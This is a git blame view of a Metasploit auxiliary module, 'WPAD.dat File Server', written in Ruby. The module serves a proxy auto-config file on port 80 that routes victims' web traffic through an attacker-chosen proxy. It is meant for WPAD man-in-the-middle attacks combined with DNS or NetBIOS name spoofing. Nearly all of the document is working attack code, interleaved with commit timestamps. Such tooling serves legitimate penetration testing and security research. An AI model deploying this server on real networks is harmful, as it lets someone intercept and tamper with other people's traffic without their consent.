Files
metasploit-gs/modules/auxiliary/server/wpad.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

88 lines
2.4 KiB
Ruby
Raw Normal View History

2012-06-30 20:57:59 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-30 20:57:59 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2012-06-30 20:57:59 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2012-06-30 20:57:59 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'WPAD.dat File Server',
'Description' => %q{
2012-06-30 22:08:10 -05:00
This module generates a valid wpad.dat file for WPAD mitm
attacks. Usually this module is used in combination with DNS attacks
2012-06-30 21:21:56 -05:00
or the 'NetBIOS Name Service Spoofer' module. Please remember as the
2012-06-30 22:08:10 -05:00
server will be running by default on TCP port 80 you will need the
required privileges to open that port.
2012-06-30 20:57:59 -05:00
},
'Author' =>
[
'et' # Metasploit module
],
'License' => MSF_LICENSE,
2012-06-30 22:08:10 -05:00
'DefaultOptions' =>
{
'SRVPORT' => 80
2012-06-30 20:57:59 -05:00
},
2012-07-02 10:57:32 -05:00
'Passive' => true))
2013-08-30 16:28:54 -05:00
2012-06-30 20:57:59 -05:00
register_options(
[
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
])
2013-08-30 16:28:54 -05:00
2012-07-07 15:59:16 -05:00
deregister_options('URIPATH')
end
2013-08-30 16:28:54 -05:00
2012-06-30 20:57:59 -05:00
def on_request_uri(cli, request)
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
2013-08-30 16:28:54 -05:00
return send_not_found(cli) if request.method == "POST"
2013-08-30 16:28:54 -05:00
2012-06-30 20:57:59 -05:00
html = <<-EOS
function FindProxyForURL(url, host) {
2012-06-30 22:08:10 -05:00
// URLs within this network are accessed directly
2012-06-30 20:57:59 -05:00
if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
{
return "DIRECT";
}
return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
}
EOS
print_status("Sending WPAD config")
2012-06-30 20:57:59 -05:00
send_response_html(cli, html,
{
'Content-Type' => 'application/x-ns-proxy-autoconfig'
})
end
2013-08-30 16:28:54 -05:00
def resource_uri
"/wpad.dat"
end
2013-08-30 16:28:54 -05:00
def primer
hardcoded_uripath("/proxy.pac")
end
2013-08-30 16:28:54 -05:00
def run
# This should probably be added to the Http mixin's run method
2012-07-07 15:59:16 -05:00
begin
exploit
rescue Errno::EACCES => e
if e.message =~ /Permission denied - bind/
print_error("You need to have permission to bind to #{datastore['SRVPORT']}")
else
raise e
end
end
2012-06-30 20:57:59 -05:00
end
end